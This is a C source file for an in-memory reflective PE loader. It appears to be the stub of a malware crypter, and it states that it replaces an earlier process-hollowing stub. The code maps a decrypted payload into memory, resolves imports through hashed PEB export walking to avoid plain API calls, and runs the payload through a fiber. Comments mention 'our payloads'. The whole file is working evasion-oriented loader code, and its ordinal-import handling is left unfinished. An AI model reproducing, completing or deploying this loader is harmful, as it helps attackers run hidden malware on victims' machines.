/** * reflective_stub.c — In-process reflective PE loader + fiber execution * * Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely * within the current process — no suspended child, no cross-process writes. * * Flow: * 1. Parse PE headers (DOS → NT → sections) * 2. VirtualAlloc(PAGE_READWRITE) at any address * 3. Copy PE headers + map each section to its RVA * 4. Process base relocations (delta = actual - preferred) * 5. Resolve imports via LoadLibraryA + PEB export walk * 6. Set correct per-section page protections * 7. Flush instruction cache * 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber) */ #include #include #include #include #include "api_resolve.h" /* ── Section protection mapping ─────────────────────────────────── */ static DWORD section_protection(DWORD characteristics) { DWORD protect = PAGE_NOACCESS; int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; int read = (characteristics & IMAGE_SCN_MEM_READ) != 0; int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0; if (exec && read && write) protect = PAGE_EXECUTE_READWRITE; else if (exec && read) protect = PAGE_EXECUTE_READ; else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY; else if (exec) protect = PAGE_EXECUTE; else if (read && write) protect = PAGE_READWRITE; else if (read) protect = PAGE_READONLY; else if (write) protect = PAGE_WRITECOPY; return protect; } /* ── Relocation processing ──────────────────────────────────────── */ static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) { if (delta == 0) return 1; DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; if (reloc_rva == 0 || reloc_size == 0) return 0; IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva); IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size); while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD i = 0; i < count; i++) { WORD type = entries[i] >> 12; WORD offset = entries[i] & 0x0FFF; uint8_t *patch_addr = base + block->VirtualAddress + offset; switch (type) { case IMAGE_REL_BASED_ABSOLUTE: break; #ifdef _WIN64 case IMAGE_REL_BASED_DIR64: { uint64_t *ptr = (uint64_t *)patch_addr; *ptr += (uint64_t)delta; break; } #endif case IMAGE_REL_BASED_HIGHLOW: { uint32_t *ptr = (uint32_t *)patch_addr; *ptr += (uint32_t)delta; break; } case IMAGE_REL_BASED_HIGH: { uint16_t *ptr = (uint16_t *)patch_addr; *ptr += (uint16_t)((delta >> 16) & 0xFFFF); break; } case IMAGE_REL_BASED_LOW: { uint16_t *ptr = (uint16_t *)patch_addr; *ptr += (uint16_t)(delta & 0xFFFF); break; } default: break; } } block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock); } return 1; } /* ── Import resolution ──────────────────────────────────────────── */ static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) { DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; if (import_rva == 0 || import_size == 0) return 1; IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva); while (desc->Name != 0) { const char *dll_name = (const char *)(base + desc->Name); HMODULE hMod = g_api.pLoadLibraryA(dll_name); if (!hMod) { desc++; continue; } /* Walk the thunk arrays */ #ifdef _WIN64 IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)( base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk)); IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk); uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64; #else IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)( base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk)); IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk); uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32; #endif while (orig_thunk->u1.AddressOfData != 0) { FARPROC func = NULL; if (orig_thunk->u1.Ordinal & ordinal_flag) { /* Import by ordinal */ WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF); func = (FARPROC)peb_get_proc((void *)hMod, 0); /* Fallback: we can't easily resolve by ordinal via PEB walk, so use GetProcAddress if available via LoadLibrary */ if (!func) { /* Use ordinal directly — cast to LPCSTR */ typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR); fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc( g_api.kernel32_base, 0 /* We'll resolve by name below instead */ ); (void)ordinal; func = NULL; /* ordinal imports rare for our payloads */ } } else { /* Import by name */ IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)( base + (DWORD)(orig_thunk->u1.AddressOfData)); /* Resolve via PEB export walk on the loaded module */ func = (FARPROC)peb_get_proc((void *)hMod, djb2_hash_ascii(hint->Name)); } if (func) { #ifdef _WIN64 iat_thunk->u1.Function = (ULONGLONG)func; #else iat_thunk->u1.Function = (DWORD)func; #endif } orig_thunk++; iat_thunk++; } desc++; } return 1; } /* ── Fiber entry trampoline ─────────────────────────────────────── */ typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID); typedef struct { fn_DllMain entry_point; LPVOID image_base; } FiberContext; static void WINAPI fiber_entry(LPVOID param) { FiberContext *ctx = (FiberContext *)param; ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL); } /* ── Public API ─────────────────────────────────────────────────── */ /* Forward declare internal functions used by resolve_pe_imports */ DWORD djb2_hash_ascii(const char *str); void *peb_get_proc(void *base, DWORD hash); /** * Execute a PE image via in-process reflective loading + fiber. * pe_data: pointer to decrypted PE bytes * pe_len: length of the PE data * Returns 0 on success, -1 on failure. */ int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) { /* ── Validate PE ──────────────────────────────────────────── */ if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1; IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data; if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1; if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1; IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew); if (nt->Signature != IMAGE_NT_SIGNATURE) return -1; DWORD image_size = nt->OptionalHeader.SizeOfImage; /* ── Allocate in-process memory (RW, no RWX) ─────────────── */ uint8_t *base = (uint8_t *)g_api.pVirtualAlloc( NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!base) return -1; /* ── Copy PE headers ──────────────────────────────────────── */ memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders); /* ── Map sections ─────────────────────────────────────────── */ IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt); for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { if (sec[i].SizeOfRawData == 0) continue; DWORD copy_size = sec[i].SizeOfRawData; if (sec[i].PointerToRawData + copy_size > pe_len) { copy_size = pe_len - sec[i].PointerToRawData; } memcpy(base + sec[i].VirtualAddress, pe_data + sec[i].PointerToRawData, copy_size); } /* ── Process base relocations ─────────────────────────────── */ ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase); IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew); if (delta != 0) { if (!process_relocations(base, mapped_nt, delta)) { /* No relocation table and base mismatch — can't proceed */ if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) { g_api.pVirtualFree(base, 0, MEM_RELEASE); return -1; } } } /* ── Resolve imports ──────────────────────────────────────── */ if (!resolve_pe_imports(base, mapped_nt)) { g_api.pVirtualFree(base, 0, MEM_RELEASE); return -1; } /* ── Set per-section page protections ─────────────────────── */ sec = IMAGE_FIRST_SECTION(mapped_nt); for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) { DWORD protect = section_protection(sec[i].Characteristics); DWORD virt_size = sec[i].Misc.VirtualSize; if (virt_size == 0) virt_size = sec[i].SizeOfRawData; if (virt_size == 0) continue; DWORD old_protect; g_api.pVirtualProtect( base + sec[i].VirtualAddress, virt_size, protect, &old_protect); } /* ── Flush instruction cache ──────────────────────────────── */ g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size); /* ── Execute via fiber ────────────────────────────────────── */ fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint); FiberContext fiber_ctx; fiber_ctx.entry_point = entry; fiber_ctx.image_base = base; LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL); if (!main_fiber) { /* Already a fiber — get current fiber */ main_fiber = GetCurrentFiber(); } LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx); if (!exec_fiber) { g_api.pVirtualFree(base, 0, MEM_RELEASE); return -1; } g_api.pSwitchToFiber(exec_fiber); /* Control returns here after payload completes or calls SwitchToFiber back */ g_api.pDeleteFiber(exec_fiber); return 0; }